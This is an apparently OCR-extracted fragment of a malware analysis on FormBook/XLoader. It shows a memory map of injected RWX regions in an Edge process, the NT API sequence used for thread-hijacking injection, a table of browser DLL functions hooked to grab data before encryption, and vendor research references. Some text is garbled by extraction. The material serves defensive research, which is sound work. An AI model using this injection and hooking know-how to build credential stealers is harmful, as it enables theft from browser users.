0x7ffb8e1c400	0 Private	: Commit	1	236 kB	RWX				
0x7ffb8e20400	0 Private	: Commit	1	236 kB	RWX				
0x7ffb8e24400	0 Private	: Commit	1	236 kB	RWX				
0x1b2c928700		: Commit		4 kB	RX				
0x7ff674fd100		Commit	2,	564 kB	RX	C: \Program File	es (x86) (M	icrosoft\	Ed
0x7ff6752fa00		Commit		8 kB	RX	C: (Program File	es (x86) (M	icrosoft\	Ed
0x7ff6752fd00) Image:	Commit		4 kB	RX	C: Program File	es (x86)\M	icrosoft\	Ed



- 1. NtOpenProcess(), NtCreateSection(), NtMapViewOfSection()
- NtOpenThread(), NtSuspendThread(), NtGetThreadContext(), NtSetThreadContext(), NtResumeThread()
- 3. NtProtectVirtualMemory()
- 4. ret instruction to saved CONTEXT.Eip

Web-browsers targeted functions

DLL	Function	Browser	Pre-encryption
secur32.dll	EncryptMessage	6 0	Yes
wininet.dll	HttpSendRequestA HttpSendRequestW InternetQueryOptionW	ee.	Yes
nspr4.dll	PR_Write	۲	Yes
nss3.dll	PR_Write	۲	Yes
ws2_32.dll	WSASend	ی چ	No

References:

- <u>https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii</u>
- <u>https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3</u>
- <u>https://www.zscaler.com/blogs/security-research/analysis-xloader-s-c2-networkencryption</u>
- <u>https://www.botconf.eu/botconf-presentation-or-article/in-depth-formbook-malware-analysis/</u>